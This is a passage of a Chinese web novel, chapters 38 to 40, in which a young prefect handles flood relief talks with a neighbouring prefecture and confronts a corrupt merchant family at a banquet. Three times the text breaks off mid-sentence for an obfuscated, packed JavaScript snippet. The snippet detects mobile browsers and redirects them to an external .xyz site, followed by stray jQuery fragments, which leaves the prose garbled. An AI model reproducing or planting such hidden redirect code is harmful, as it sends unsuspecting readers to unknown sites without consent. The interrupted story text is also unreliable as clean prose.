那身形高峻修长，负手而立，静立之间，珠光流转，明艳之下竟透出几分逼人之气。 察觉瞿宝砚的目光落来，他才略一颔首，语声不轻不重： “季凌也。” 说完便不再出声。 陆尚言在旁讪讪咳了一声，似觉气氛微凝，忙上前一步接道： “这位是季公子——我等此次前来通报水情，季家所辖田地受损尤重，季公子念及乡里百姓之困，便同我们一道前来查勘水势，也算是为后方安民出一份力。” 瞿宝砚眼眸微敛，眸光淡淡从他身上掠过，没有多言，只抬手道： “远道而来，几位辛苦，先入座吧。” 一行人应声入席。 落座时，季凌也手指略敲椅案，目光未曾四顾，却低低一挑，似笑非笑地掠了瞿宝砚一眼，那一眼极快，像是不经意间扫过，浮光掠影般从她身上滑了过去。 却又像是有什么细不可察的微芒，隔着清风静水，悄悄落了下来。 四周无人发觉。 几人入座，侍从奉茶。 寒暄不过几句，陆尚言便将茶盏轻搁案上，略一拱手，语气恭敬中带着几分郑重： “知州大人，实不相瞒，我等此番奉命前来，除了致意，确有一事难以不提。” “前几日江水暴涨，我琅州怀陵、棠溪、霁阳三县受灾尤重。按水道测算，渌州决堤后，水势直泄南下，终至我州地界。如今仓庾泡毁、田地尽失，流户逾万，州门前百姓日日叩问，韩知州心忧百姓，特命我等前来，只愿得知一声——此事起自渌州，不知贵州对此，是否已有个说法？” 瞿宝砚闻言，眉目不动，只语气平和道： “诸位也知道，前月暴雨连绵，渌江上游水势突涨，几条主支水脉皆告告急。彼时江河一带齐涌，主堤所承之水，已超寻常年成三倍有余，非人力所能轻挡。而琅州地处下游，地势低洼，水至此处，势必倾泻而入，此地势之理， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140917|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非人为所能控。” “实不相瞒，不止琅州三县，我渌州五县同样受灾惨重，田庐湮没，仓庾受损，流户之多，亦远超往年。说到底，还是苦了百姓。” 她放下茶盏，语气转为稳重：“此等天灾，非一州一地可全控之事。堤防失守之事，本州已令彻查。未明之事，不便轻责，但若真有渌州失守之处，本州自不会推诿，也绝不轻纵。” 说着，又望向陆尚言：“此事关乎两州百姓安危，韩知州体恤民情，特遣使至，本官亦不敢懈怠，不如就借此机会，共谋善后之策，使两地百姓俱得安生，方为正理。” 座下几人闻言，皆沉默片刻。 刚才尚有几分为难意思的琅州随员，也不由低了目光。 说实话，瞿宝砚这番话讲得有理有节，既不推责，又处处着眼民生，让人挑不出一点错来。他们来前本设想今日堂上该是唇枪舌剑，如今却似被一盆清水浇过，谁都不好再硬顶一句。 陆尚言拢了拢袖口，目光微敛，心中却泛起一阵波澜。 这位渌州知州的大名他可早听说过——今春新科状元，天下第一士，好不威风！ 殿试夺魁，策论惊座；文传士林，名动天下。坊间还有打油诗，说那状元“才高一策翻江海，笔落千军避让锋”。 他原只当笑谈听过，如今一看，却觉得似乎字字在理了。 眼前这位新任不过月余，处事不卑不亢，言语滴水不漏，若不是亲眼所见，谁信这只是初任地方的新官？ 他略一拱手，笑道：“早就听闻瞿大人状元盛名，今日一见，果然不同凡响，在下佩服。” “既然知州大人如此说了，那我等便静候佳音——也盼此事真能水落石出，两州百姓皆得安稳。” “只是——” 陆尚言话锋一转，他微微抬眼，继续道： “眼下灾情未解，仓庾空虚，百姓断炊，我州虽愿自救，但实难独力支撑。若渌州手中尚有余粮，不知能否周济一二，解燃眉之急？” 此言一出，堂中气息微顿。 坐在下首的杜彦然眉头一跳，倏然抬眼，目光朝陆尚言射去。 ——好一个琅州！ 这本该是他们渌州提的——琅州地近，仓满粮丰，渌州此番仓储不足，灾民却众，她方才在书房内才思忖，是否可向琅州借粮以作赈济。谁料这位竟先发制人，反将一军，反过来问她们开口借粮？ 分明就是先下手为强，堵人之口，不借粮！ 杜彦然一时像是胸中被堵了一口气，看陆尚言的眼神算不上多友好。 瞿宝砚神色如常，开口道：“我渌州五县皆灾，灾民逾十万。仓储虽尚有余，但至多可支旬月。眼下方是夏汛之初，若雨势不歇，恐怕局势只会更重。此事，须得上奏朝廷，动请赈济方为根本之策。至于借粮一事——” 她语气微顿，淡淡道：“我渌州尚难自保，又如何借得出？” 陆尚言闻言，微微颔首，眉头却轻蹙，神情间透出几分无奈，却也是理解，叹息道： “既然如此，那也不勉强了。百姓为重，情势所限，自不能强求。回去后，我定如实禀明韩大人，只望此事之后，两地能共度难关，早些安民。” 他话音落，堂内短暂一静。 陆尚言又转头看向身侧的季凌也：“季公子常走地方，若有何见地，也不妨一言？” 此言一出，众人目光微转。 季凌也倚着椅背，双臂随意交叠，一手执盏，指腹慢慢摩挲着杯身。他没急着答，目光低垂，睫影落在杯沿。片刻后，才放下茶盏，缓声道：“陆先生这么一说，我倒确实有个问题，想请大人听听。” 瞿宝砚微微颔首：“季公子请讲。” 38. 风裁初会2 季凌也坐姿依旧随意，垂眸语调不快不慢：“我们琅州地处丘岭，商路难走，南下的货，要避山，只能穿渌州。这条路，我季家年年走。可每逢水患，这一带便不安生。” “我记得去年那场大雨，清阳堤虽未崩，但道封了二十余日。沿途数村断粮，有人逃亡，有人聚众闹事，也有趁乱劫掠之徒。那年我们季家有两支商队，一支在渡口被劫，货沉河底；一支行至州界，被堵在了山隘，银帛货车被一抢而空，几个随行小厮也受了重伤，前后损失颇重。” “我季凌也不是怕事的人，但这些本该由官府来管。我们当初去渌州县衙报官，非但都说管不了，有的地方还有趣，官民串通一气抢劫商队。” 他抬眼看向堂前，目光不温不火：“如今又发大水，灾情更重。所以这回，我想问问大人——若今年再有人趁乱聚众、拦路劫商，渌州官府，是管，还是不管？” 堂中一静。 陆尚言微微挑眉，眼底滑过一丝玩味，又缓缓看向座上的瞿宝砚，似是想看她该怎么答。 瞿宝砚神色未动，语气平稳，不疾不徐：“季公子所虑非虚，此前渌州确曾有灾后失控之乱，不过，今岁不同往年。” “今年灾势虽急，但有州府镇定。如今，各县堤口已加固了主险，水势已定；而州中南北三条主道，也预计三日内可全线贯通。” “灾民更是未曾散乱，都是我渌州赈灾主力。依县衙统一调度，投入堤工、修路、开垦等事，以工代赈，供食供衣，日日结算。全州人口皆已造册，按户留档，且乡保联防，流动可查。至于零散山寇，守备署已增设哨站，又按照主道重排了巡逻线，三县边地亦设有夜岗，以保百姓路途安宁。” 她抬眼看向堂下，语意沉稳：“这条上商主路，连通南北，不止通季家货行，亦关乎渌州财赋，更是朝廷盐运与税粮要道。此路若乱，则渌州先乱，天下难安。” “如今非常时期，渌州州境皆已设‘灾期出入登记’，凡大宗商货、车马往来，皆需签照录册，于三方备存，以防有人借乱行事。若再有劫道扰民之事，渌州自有明法在前，绝不姑息。” 说至此，她语声稍缓，看向季凌也：“季公子所问之事，皆已有备，不敢言尽善，然诸端俱在掌控之中。诸位，亦大可放心。” 堂中无人言语，仿佛这番话将桌案上的一切都压得极稳。 季凌也看着她，眸光渐深，半晌轻笑一声，方低声道：“如此便好。瞿大人行事，果真有章有法。” 陆尚言正捧着茶盏，闻言却手指一顿，盏盖磕在瓷口上，轻轻一响。 他抬眼看了季凌也一眼，眼底掠过一丝讶异，像是没料到他会说出这种话。 这位季小爷，何时曾如此正经评过人？ 连韩知州在他面前，也偶被调侃得直翻白眼。 如今却罕见地收了气势，语气不轻不重，甚至……带了点赞赏意味。 不过转念一想，就连他也不得不承认。 ——这位瞿大人，确实不同凡响。 · 待众人散去，堂内重归寂静。 杜彦然见人终于走了，也憋不住了，立即忿忿道：“大人，今日琅州这帮人，说是来问水势，实则分明就一个意思——他们不借粮！” 她说着眉头紧蹙：“可琅州离我们最近，若他们都不借，这头一旦开了，后头别州也自会推诿。这样下去，咱们这十几万灾民，该如何是好？” 瞿宝砚却不见惊色，只淡淡道：“平白借粮对他琅州没有半点好处，自然是不借。” “琅州不缺粮，这我们都知道。可他们却先一步立了个‘无粮可借’的调子，就是算定我们渌州仓储将尽，迟早要开口求借。” 她顿了顿：“而我们一旦开口，他们便能顺势抬价、提条件，索取利权。天上没有白掉的粮食，届时，借粮便不是雪中送炭，而是坐地起价了。” 杜彦然一听，语气更是气愤：“那他们这不是落井下石么！咱们渌州百姓水才退，人还没安顿下来，他们倒好，先算起账来了。” 瞿宝砚轻轻抬手，将茶盏移至一旁：“可今日不借，未必明日不借。” 杜彦然一怔：“大人的意思是——？” 瞿宝砚淡淡一笑：“琅州不借，是权衡利弊。可若有一日，‘借’比‘不借’更有利时，自然就会开仓了。” · 六月的渌州，雨停了三日。 连绵夏霖之后，天光初晴，云影尚未尽散，空中却已有几缕淡阳穿林照水。 街巷青石泛湿，墙头新苔浮翠，偶有几只斑雀一惊掠过，惊得枝头花瓣微晃。 城中小巷曲折，处处垂柳夹岸，楼台临水，白墙黛瓦间透着幽幽凉意。渌江近日水涨，河面宽阔，波光潋滟间泛着新洗过的清明，一艘画舫缓缓自远而来，篷下传出丝竹轻响，似有人在调琴理曲。 风过芰荷深处，香气若有若无。 而那水榭之畔，便是今日秦家设宴的清漪馆。 清漪馆依水而建，藏在州城东南一隅，旧时为盐商别宅，庭深廊绕，墙外即是水湾浅港。今日初晴，云消日朗，水光摇影间，恍若一幅雨后江南初晴图。 一叶乌篷顺水而行，橹声吱呀。舟尖一人临风而立，青衫映水，倒影摇曳。 瞿宝砚今日一袭青色常服，衣纹简素，发冠将鬓发收束整齐，映得面庞愈发清冷端正。 她静伫舟上，目光投向远方，神情沉静，眉眼淡而不寒，映照着雨后晴山。 篷中的宝桃儿探头望了望外头风景，啧啧赞道：“小姐，您说咱们来这渌州也一月有余了吧？可像今日这般出来逛逛，还是头一回。” 她望着岸边风光，忍不住笑道：“说来这渌州跟咱们澄州还真有些像，却又不像——那日子连着下雨，瞧什么都心烦，今儿个一晴，才觉得这地竟也这样好看。” “要是换身衣裳，搁在澄州时，准当是逛园赏荷的好日子了。” 船头的瞿宝砚闻言微微一笑，未语，只将目光投向前方那在水光中渐渐浮现的一角：一处隐于绿意之间、飞檐轻挑、檐下垂铃的水榭幽馆。 小舟贴岸，橹声渐歇。岸边石阶微湿，白苔隐隐。宝桃儿先跳上前，扶着瞿宝砚登岸。 清漪馆匿于渌州南郊烟水深处，门前一带疏柳低垂，几重竹篱隐约，仿若幽人栖地。沿石阶拾级而上，馆前水榭横廊，雕栏精致，一道回廊直通内厅。 厅前早就有秦家人候着了。 舟一靠，便见廊下有人拂袖迎来。 秦致棠今日打扮与那夜好似两人。一袭浅碧长衫，衣色如新笋吐翠，衬得整个人眉眼清润，温雅从容。衣冠虽简，却举止有度，风姿俊朗，不见半点铜臭之气，倒像是位饱读诗书的翩翩君子。 瞿宝砚一上岸，便对上他含笑的视线，只见他唇角微扬，轻眨了下眼睛，似真似假地叹道： “有幸得大人赏脸赴宴，小人实在喜不自禁。” 言罢，他微一侧身，抬手作引：“几位家人也在厅前恭候大驾——这位是家兄致远，这位是家姐曼瑛。” 秦致远衣着整肃，气质沉稳。见礼道：“瞿大人大驾光临，有失远迎，还请见谅。在下秦致远，久仰大人之名，今日得见，实为三生有幸。” 他身侧一绯衣女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145014|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，眉眼清艳，立马迎上来笑道：“总算将咱们这位‘新知州’请来了。曼瑛早听闻瞿大人才气卓绝，连中三元，今日一见，果然名不虚传，叫人心生仰慕。” 这番热情，既透着江南人家的爽利明朗，又不失礼数分寸。 秦曼瑛话音方落，秦致棠又拱手道：“家父腿脚不便，未能亲至相迎，如有怠慢，还请大人见谅。” 他轻轻侧身，手势一引： “此刻正候于厅中恭迎——大人请。” 瞿宝砚微微颔首，方才那句“赏脸赴宴”，她并未接话，只淡淡一笑，道： “叨扰贵府，原是我失礼。” 说罢，视线转向秦致远与秦曼瑛，神情平和得体： “久闻秦大公子与秦二小姐之名，今日得会，幸甚。” “请。” 厅内早已精心布置过。雕栏画栋，红木镂金，案上香炉轻烟缭绕，屏风间花影半掩。 秦老爷正稳坐在一张乌木交椅上，闻得门外动静，他缓缓起身，面上已堆起笑来。 一见瞿宝砚入内，当即拱手迎上两步，声音洪亮而诚恳：“瞿大人远临寒舍，老朽实在荣幸之至！” 他上下扫过来人，眼中满是感佩之色，言辞热切：“这段时日，听闻大人为渌州灾后奔走操持，昼夜不歇，老朽虽年迈无能，也不禁心生钦佩，有感而发。渌州能得如此年少有为、心系百姓之官，真是我等百姓之福啊！” 说到此处，他似不经意看了眼站在一旁的秦致棠，摇头叹气：“我这小儿致棠不懂事，一向莽撞惯了，也不与我这个做爹的打声招呼，便贸然叨扰大人，实在是失礼，老朽在此代他向大人赔个不是。” 他话锋一转，笑意更浓，声音微提，满是亲切：“今日多谢大人肯赏脸来，不为别的，就当给老朽一个薄面，让这小子亲自赔礼认错，也好让我心头好受些。” 说罢，他又作势要请瞿宝砚上座。 秦老爷身姿虽显年迈，却言谈周到，热情里透着周旋老道，既不失对官员的礼敬，又把长辈身份使得恰到好处。 瞿宝砚微微一笑，缓声道：“您言重了。渌州方经水患，本官身为一州父母，自当尽责，皆属分内之事，不足挂齿。秦三公子心存公允，心忧乡里，能为灾后出力奔走，已属难得，何来叨扰一说？ “若渌州人人皆如三公子这般肯担起一份心意，本官倒真要说句感激了。” 她顿了顿，又微笑一礼：“今日暂歇公务，有幸与秦府诸位共叙，亦是一件乐事。” 秦老爷含笑抬手做请：“是大人驾临使寒舍蓬荜生辉啊，大人请上座。咱们小门小户，请得大人屈驾，理应奉上主位，才不失礼数。” 厅中早已设好几席，正中高案铺着湘纹红毡，座后雕花高椅一看便是主位。 瞿宝砚却立在原地，语气温和而不失礼节：“主位便不必了，您年长于我，今日既是场家宴。本官受邀而来，已是叨扰，岂敢居上？” 说罢，便径直落座于下首右侧座位，动作从容，礼中有锋，坐得安稳。 此话一出，厅中气氛微顿。 秦老爷眼底一抹讶色一闪即逝，随即大笑，话头便也转得利落：“好，好，瞿大人这般性情，实在可敬可佩。致棠，还不快去陪着大人，好生招待。” 秦致棠应声而至，笑意不改，落座在瞿宝砚身侧。他微偏过头来，语气带了点调侃似的轻松： “大人是文状元出身，让我这个闲散子弟来作陪，也算是借光沾了点书卷气。” 他说得风趣。 厅上气氛随着这句话微微松动，众人也相继依序入座，家宴开场。 39. 风裁初会3 酒菜渐上，厅内已有淡淡香气氤氲。 秦曼瑛起身亲自揭开第一道热菜的银盖，笑意盈盈地开口道：“瞿大人初来渌州，曼瑛斗胆献个丑，为大人略说说咱们这渌州的风味。这道菜叫‘玉鳞春水’，是咱们渌州六月里的头一鲜。” 她将那菜盘微微转了转，便见碧波般的清汤中露出一尾雪白鲜鱼，在热汤中泛着玉光，色泽鲜亮，形如游龙。 “这鱼啊，是雨后才有的，名叫‘潋滟鱼’，只生在渌江与碧湖交汇之处，水清鱼嫩，三日之内不捞，便游回深水藏起来，再难寻着。今日这尾，还是我大哥早上派人专程赶去湖口下的钩。” 她说着略带几分自豪，又补充道：“这鱼本味极足，腥不带土，只以清汤慢煨，再点几滴桐花露，便是渌州人最爱吃的家常口。” 说罢，唇角一弯：“大人可尝尝？若合口，曼瑛再让人给大人送几尾上门。” 话音刚落，秦致棠便动了筷。他熟练地挟了最嫩的一段，细致地挑骨剔刺，见鱼肉雪白晶润，柔韧不碎，便将瓷盘小心端至瞿宝砚面前。 “家姐夸得多，我怕大人尝了却失望。这鱼滋味较清淡，若是不合口味，还望大人海涵。” 他说得谦逊，动作自然，像是习惯了这样替人布菜，下手的顺序也极有分寸，没有丝毫怠慢。 瞿宝砚微一颔首，目光落在那瓷盘上。 鱼肉洁白细腻，汤色澄澈，浮着一星半点碧叶和嫩黄的桐花瓣，清香袅袅，不腻不浓，好似江南六月新晴后的第一缕晨光。 她持箸夹起一筷，未急着送入口中，先低声道了一句：“劳烦。” 鱼肉入口，她微微挑眉，似有几分意外，随后放下筷子，轻声道：“肉质细嫩，桐花收腥，汤味极清。” 瞿宝砚语气虽平静，却也并未吝于褒奖。 一旁的秦曼瑛听了这句，笑得更开：“瞿大人果然高品。这‘玉鳞春水’虽是寻常乡味，但只要做得仔细，便胜过许多贵府里的珍馐。” 秦致棠斜倚着身，望着她慢条斯理吃了一口的模样，轻笑道：“能得大人一句‘极清’，这鱼今日怕也是值了。” 说完，又替瞿宝砚添了一盏新茶，动作顺手极了，一句闲话也不多说。 厅中众人见状，皆识趣地将话题转入渌州风味与水乡雨情，只让这宴席氛围轻巧又含着微妙的分寸感。 厅中气氛温和热络，席上菜肴一道道呈上，色香味俱全。 秦曼瑛坐在对侧，谈笑风生，对食物风味了如指掌，哪道菜是渌江河口哪家老渔户捞的鲜虾，哪道是丰安丘上山民送来的野笋，甚至那一盏调味的陈醋，是出自哪位酿娘之手，窖藏了几年，她一一娓娓道来，既有风味的讲究，又说得有滋有味，颇见底蕴。 说到妙处，还亲自起身为瞿宝砚添一箸。 秦老爷则一手把着酒盏，一边听女儿说着，一边频频点头，笑声朗朗。 他好酒，席间尤喜就酒说酒，话锋从江南道一路讲到梧川道，什么“飞雪春酿”“雨前琼浆”“乌青醉香”，如数家珍，说得唇齿生津：“这渌州水好，米好，酒自然也生得妙。” 说着又亲自给瞿宝砚斟上一盏，“瞿大人若不嫌弃，可尝一口这‘金芽酿’，是我老友三年前埋在柳堤下的，如今才启封。” 秦曼瑛身侧的秦致远坐得端正，几乎没什么话，只在每一道菜上桌后目光掠过几眼，默默盯着，似在确认温度火候是否妥当，有无不当，偶尔向下首小厮递个眼色，便是换盘、添酒，无一差错，如同这席上默默压着的秤砣。 秦致棠坐在瞿宝砚旁侧，殷勤却不谄媚，只颇为细致。 她饮了几口，他便适时递上茶盏，她不动筷，他便将那盘中最细致一段鱼脊轻拨出来，换个小碟再端过来，不声不响，倒像是惯常照料亲近之人的样子。 听到有趣之处，也会出声打趣几句，便只偶尔在瞿宝砚看过来的时候，轻轻一笑，仿佛雨后湖面掠过一圈微光。 众人举止不一，气氛却分外融洽，仿若一场极得体的风雅小宴。 几巡酒过，宴席渐至尾声。秦老爷喜酒，这一顿说得多，喝得也多，面上已泛起几分红光，说话声不觉也大了些。 “好酒，好菜，还有好客——曼瑛，瞿大人来了，咱们秦家可是风光过人呐……要，要好生招待，不可怠慢——”他话未说完，便忽觉有些头重脚轻，眉心一皱，身子微晃。 秦曼瑛眼疾手快，立刻扶住父亲，脸上仍挂着笑，却多了几分歉意：“父亲喝得多了，该歇歇了。大人若有怪，曼瑛替父亲赔个不是。” 她向瞿宝砚盈盈一揖，又道：“父亲总是这般，一遇到贵客便喜不自禁，一盏接着一盏，这几日也操心店里事累着了，曼瑛便先送他回房歇息，还恕暂且失陪。” 瞿宝砚起身还礼，道：“秦老爷情深意重，在下心领了。还是保重身体要紧。” 秦曼瑛点点头，唤来两名小厮，一边吩咐人收拾，一边搀扶着老爷子往后院去。临走前不忘回头嘱咐：“致棠，你好生招待瞿大人。” 秦致棠懒懒应了声：“知道了。” 秦曼瑛前脚刚走，一名穿浅绛衣裳的小丫头又快步入内，凑到秦致远身侧低声说了句什么。秦致远眉头一皱，随即也起身，抱拳略带歉意道：“下面忽然出了些事，须得我亲自过去一趟，瞿大人，实在是失礼，恕在下失陪。” 瞿宝砚颔首：“无妨，今日得诸位盛情款待，已是感激不尽。” 待众人退去，厅中只余两人。 灯影微晃，酒香犹在。 静谧间，秦致棠斟了一盏酒，眉眼一挑，唇角噙笑，举杯道：“我再敬大人一杯。” “那日夜里唐突叨扰，今日大人还肯赏脸登门——温棠，实在是荣幸之至。” 瞿宝砚却并未伸手接那盏酒，目光落在他指间微晃的琉璃杯上，语声平缓，却不含丝毫嬉戏之意。 “那日三公子夜至所言——解渌州之困。” 她抬眸看向他，眼神如止水无波，“不知指的是何法？” 秦致棠手中酒盏一滞，眼底的笑意反倒更深了几分。 他似是随意地晃了晃酒，杯中清液轻荡，在灯影下泛起一圈又一圈的波纹。 他望着她，眸色极深，眼底带着几分说不清的意味，语气悠然： “未尝酒中味，怎识杯中意？” 秦致棠执盏不动，杯中酒色清冽，映得他指骨修长、轮廓分明。那一身碧色长衫在光影中更显冷润，又仿佛寒玉里染了暖意。 他也饮了不少酒，此刻染了酒意，不似平日不笑时清冷高远，一笑便染上几分危险的魅意。 瞿宝砚静静看着他，目光未移分毫。 她的眼中没有犹疑，亦无半分旖旎，仿佛方才那句“杯中意”，在她眼里只是寻常一语。 片刻，瞿宝砚伸手接过酒盏，指腹贴着杯壁，掌心沉稳如松。 她望着酒杯：“这酒中之意，听来倒也不浅。”说着眉眼间浮起一丝若有似无的笑意，目光却极清明，“三公子既盛情，那便趁着这酒兴，请三公子细细道来——如何解我渌州之困？” 话落，她将杯中之酒一饮而尽，动作不疾不徐。 秦致棠眉梢一挑，眼底光色微动，似是没料到她真会接下这盏。 他忽而一笑，低声道： “好。” 他放下酒壶，指尖轻敲几下酒案，慢条斯理道：“我们做生意的常常都说，账要做得精，人得抓的稳，银子才不往外漏。可这生意做大了，银子经手的人多了，难免顾不过来。若经手的每一人都惯从这缝里抠一点，日子一长，再厚的账本也得漏。” 他偏头看了她一眼，似笑非笑：“大人渌州的州仓，怕就是这‘账本’——日常花销勉强过得去，一逢大水，便露了底。千里之堤，溃于蚁穴。眼下灾后之地遍布五县，民以食为天，大人如今最头疼的事，怕就是——粮食了吧？” 瞿宝砚闻言只淡淡道：“仓储失衡，账目不清，并非一日之病，三公子说得不错——不过，如今最大的问题却不在账本，毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150230|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 账糊了可以清，可被蛀出的空缺，谁来补？” 秦致棠微微一笑： “若大人不弃——渌州的这笔坏账，我来补。” 瞿宝砚抬眸看他。 “旧账也罢，新缺也罢，只要能帮到大人；无论是要查、还是要补，我秦家能动的银、能出的人，都归大人驱使，只要大人一声令下，温棠愿为大人赴汤蹈火，在所不惜——” 他眼底似有暗流涌动：“在这渌州地界，无论大人有什么难处，我秦家，都能替大人分忧。” 秦致棠生得极好，不属于那种端方俊朗，而是清隽幽雅。 眉细而长，似剑未出鞘，眼尾微挑，偶尔滑过三分漫不经心的笑；鼻直唇薄，唇角天生带一抹似有若无的弧度，仿佛一笑便能生出情意。 那双眼眼珠乌得发亮，笑时眼底藏着光，像春风里结着一层露，直直盯着你时像是带了钩子，勾人魂魄。 更不必说此时此刻，加上这样叫人无法不动容的言语。 似乎谁也无法忍心拒绝。 瞿宝砚轻轻一笑，指尖仍搭在杯沿上，缓缓道：“秦三公子出身商贾之家，世代经营，耳濡目染，就连比喻也离不开生意场上的道理，自然比我更清楚——商人最讲的，便是一个‘利’字。” “平白无故替人补这么大一个窟窿，若照你们做生意的法子来看，这一单，岂不是亏大了？” 秦致棠声音温润，却隐隐带着一丝低哑的笑意，“我秦家确实从不做亏本买卖。” 他顿了顿，抬眼望向瞿宝砚，眸中光色浮动，笑意渐深：“可若是为了交瞿大人这位朋友——那就另当别论了。” 一语落下，厅中似顿生静意。 灯影轻摇，映在他眼中，像是浅水覆上一层夜光。 瞿宝砚笑：“让朋友做亏本的买卖，岂不成了我的罪过？” 秦致棠闻言，指尖轻顿，似怔非怔，片刻后却轻声一笑，缓缓道：“温棠做买卖，是认利，但也认人。认错了人——就是赔了本、还折了心。” “与其说是买卖，不如说温棠是想结交个值得托付的朋友。” 语毕，他将酒盏轻轻一转，眸光含笑而不迫：“大人，不肯给个机会么？” 瞿宝砚执起案上的酒盏，垂眸轻轻转了一圈。盏中酒光微动，映着她眉眼清冷。 良久，她开口，语气温和至极：“秦家世代经商，在渌州可谓根深叶茂。除却绸缎几乎六成出自你家，米粮布匹五成有余，工料、船运、酒肆、坊铺也多有涉足。” “渌州之水初退，我调案查仓时，倒也查出几笔账——” “去年夏季修堤，清阳段、汀水段皆出自秦家工营，账上填了三十里工段，实则只修了十九里；石料少报五成，工匠以半工代全工，三笔虚账，账面做得漂亮。” “灾前月内，贵府下人分三批收买清阳、南沅两县田地七十三顷，购价奇低，有些地契还未及转文便已整片转出，如今适逢水患，倒是转得早。” “贵府家中老嬷，杜氏，昔日收了赵家遗孀之子为小厮，逼其签私契为奴，后因人命出了事，这桩案如今还压在南沅县署，只说是‘误会’，可人却已经死了。” “至于粮契两笔，便是昨日才从库司账册里翻出：一笔是官仓回购，明定五百石，实则只入三百余；另一笔，是城中米行回扣两成，银子却不见，不知又有哪位主事亲眷账上多了笔‘贺礼’呢。” 她将酒盏轻轻搁下，语气却始终未见波澜，甚至带着些近似礼貌的缓慢：“这些事，我本拟一一查明，择期再议，如今倒也不必藏着掖着了。” 她望向秦致棠：“三公子说，愿为渌州‘补账’？” “还是说，这账——也有秦家欠下的一份。” “三公子姿貌风流，若要交朋友，旁人只怕求之不得。只是如今这局面……” “倒不是我不肯给三公子机会。” 她微一笑，如水面轻漾，手指轻点桌面： “而是秦家，先一步，不愿给我这个机会。” 40. 锅中乾坤 夜风微凉，院中石树边，一人静立不动，清瘦剪影隐在枝影间，仿若一尊沉默的雕像。 秦曼瑛自外归来，远远便瞧见那道身影，轻声唤道：“三弟。” 秦致棠却一动不动，好似没有听见。 秦曼瑛走近两步，瞥见他神色平静，眼底却藏着淡淡沉郁，不禁挑眉一笑，道：“怎么，还在为白日的事耿耿于怀？” 她站定，拢了拢披风，语气不紧不慢，夹了丝倨傲：“既然那位瞿大人不肯给我们面子，我们又何必再追着。秦家这张热脸，可没道理要贴人家的冷屁股，不过小小一介知州，不识抬举也罢，翻不起什么浪来。” 说罢，她转身上了台阶：“夜寒露重，别站着了，早点回屋歇息罢。” 秦致棠却并未动身，目光落在了自己右手手腕。 想到今日清漪馆别前那一幕，他一把握住了瞿宝砚手腕—— “瞿大人，我好心奉劝你一句，你初来乍到，这渌州也不过是你升迁的一程而已，犯不着。” 谁料瞿宝砚竟反扣住他的手腕，又轻轻松开，淡淡道： “那我也好心还奉一句。商贾牟利，无可厚非。但不是什么钱，都能赚。” 此刻月光再照，右腕似尚有余温，却也凉得彻骨。 他低笑了一声，那笑意极浅，转瞬便隐入夜色中。 · 天色刚亮，知州府门前停着一辆窄窄的牛车。 驾车的是个瘦小青年，粗褐衣裳被晨风吹得鼓鼓荡荡，额头缀着细汗。 蒋林勒了勒缰，冲门房拱手笑道：“官爷，我是杜县令手下的小蒋，奉命送些山里食材前来给知州大人过目，还劳您通传一声。” 门房见了令牌，应声唤人来开门。 只见车上箩筐十数个，用粗麻绳扎着，箩面覆着草帘，隐隐露出些青叶红皮，有些还带着露水。 蒋林跳下车来，搓搓手，吆喝了一声：“官爷，劳您再叫几个力气大的，把这些抬进去，别给大人看了笑话。” 几个府中小吏闻声赶来，卷起袖子，将一只只沉甸甸的箩筐抬下车。揭开草帘，只见箩中装着的多是些颜色古怪的山果、藤芋、苦菜、马蹄草，还有些野薯野菌，模样粗粝，气味土腥。 有小吏后撤脖子皱眉道：“这些……也能入口？” 蒋林嘿嘿一笑，道：“我们岳临那穷山沟，年年都会闹灾荒，饿急了的时候，还不就是靠这些活命的？您城里人见得少。” 小吏一时语塞，只得把东西小心堆在偏院廊下，等候知州大人来过目。 不多时，廊下传来一阵由远及近的脚步声。 领头来人一袭宝蓝色官服，步履生风，身姿挺拔。蒋林连忙上前拱手行礼，声音有些紧张：“小人蒋林，奉杜县令之命，特来送这些山中野物，请大人过目。大人若有任何吩咐，尽管吩咐小的。” “好。”瞿宝砚点点头，走到箩筐前，蹲下身看起箩筐里的山货。 她伸手拾起一枝细长藤根，翻看两下，又放回原处，看向蒋林：“你可熟悉这些山货？都叫什么？该怎么吃？” 蒋林闻言便赶紧挨个揭开草帘，一边指一边说：“回大人，这个，是野薯，我们那儿唤‘牛头藤’，埋土里烤着吃，干巴巴的，填肚子倒是管饱；这个是马蹄草，根里头有水，嚼着清凉，能解渴；这个叫‘地瓜藤’，煮汤不坏肚子，但苦，要兑点米糠才压得住……” 他说得认真，带着山里人的朴实劲儿，话里不时夹些方言词，听起来亲切又陌生。 